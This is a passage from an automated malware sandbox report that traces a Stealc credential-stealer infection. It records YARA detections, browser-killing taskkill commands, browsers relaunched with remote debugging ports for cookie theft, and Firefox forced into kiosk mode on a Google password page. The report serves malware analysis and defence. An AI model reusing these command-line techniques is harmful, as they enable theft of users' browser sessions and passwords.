JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3071848615.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:10:30
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe"
Imagebase:	0x250000
File size:	1'801'728 bytes
MD5 hash:	E814098146A7D5BB6910F684D24DDDA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3254990045.0000000000251000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.2997152380.0000000005000000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3265209742.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:10:37
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe"
Imagebase:	0x370000
File size:	1'832'448 bytes
MD5 hash:	73F9C0001107EB1B3AAB6549C6574F7F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3231030291.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3135467108.0000000001011000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3220379720.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3233138119.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3261656724.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3228403714.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3135695992.0000000001017000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3261656724.0000000000F99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3170698705.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3218476120.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:10:38
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe"
Imagebase:	0x5b0000
File size:	968'192 bytes
MD5 hash:	CD6FBD133B166F011EE0459DAB795A09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:10:39
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x9e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:10:39
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:10:41
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:10:42
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2108,i,15494402203579294748,10477359376935723563,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:10:42
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x9e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:10:42
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:10:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x9e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:10:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:10:44
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x9e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:10:44
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:10:44
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x9e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:10:44
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:10:45
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:10:45
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:10:45
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	23:10:46
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2188 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa193a77-707b-4b1f-8078-06a41e567f56} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c22c36ef10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	23:10:46
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe"
Imagebase:	0x250000
File size:	1'801'728 bytes
MD5 hash:	E814098146A7D5BB6910F684D24DDDA7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3255076281.0000000000251000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.3165593747.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	23:10:48
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe"
Imagebase:	0xab0000
File size:	2'800'128 bytes
MD5 hash:	10BB282A6A510155AF521185A136C32D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	23:10:48
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 2532 -prefMapHandle 4108 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5bfb161-09aa-43d5-9f3c-cfcc713c6169} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c23ea0f510 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	23:10:53
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:10:54
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2264,i,14280928009878877682,9304379882023563075,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:10:54
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	23:10:54
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2028,i,13930945499186658156,9224765416305937446,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	757
Total number of Limit Nodes:	13

Executed Functions

Function 00AC652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00AC652A,?,?,?,?,?,00AC7661), ref: 00AC6567

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 337b2295362a788e508d2e6706f7f531e211133a03420d6c45f8fea835974a22
Instruction ID: 340a90cda6ad93a871be9b856870d70b6cec94b8b637ca8bc12b0cca07fe65b9
Opcode Fuzzy Hash: 337b2295362a788e508d2e6706f7f531e211133a03420d6c45f8fea835974a22
Instruction Fuzzy Hash: F5E0EC3424114CAFCE29BB28C95DF593BA9EB51755F215818F9184A226CB36FE81CE81

Function 05380C07 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

?y<, xrefs: 05380C3A

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID: ?y<
API String ID: 0-128774201
Opcode ID: 09b126cb7bd6bdf7e9c3f68e6f3d752fbd2474f755e3305f09d5cb7c8e18bed8
Instruction ID: d66481598c9e40ceb431d184889e1c96c0f92dcac6c4e27b31a1aae9c9f821f5
Opcode Fuzzy Hash: 09b126cb7bd6bdf7e9c3f68e6f3d752fbd2474f755e3305f09d5cb7c8e18bed8
Instruction Fuzzy Hash: C5019EEB04C324FD614EF8956B1CAF66AAFA5D27303308917F4138ED42D394465D5171

Function 00A95C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00A96054
00000419, xrefs: 00A96098
00000423, xrefs: 00A960FA
00000422, xrefs: 00A960C9
0000043f, xrefs: 00A9612B

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 554e40b157ca91d972dedaf6e908e7db582f88a3668bf9dc4a5f36bab6bc8c35
Instruction ID: 710cbdf9a31ee4dbea35db2066ce8094e417e86001f970eb008106cb3cef48b8
Opcode Fuzzy Hash: 554e40b157ca91d972dedaf6e908e7db582f88a3668bf9dc4a5f36bab6bc8c35
Instruction Fuzzy Hash: A7F1E170A00258ABEF24DF64CD85BDEBBB9EF45300F5046A9F509A72C1DB749A84CB90

Function 00A99BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
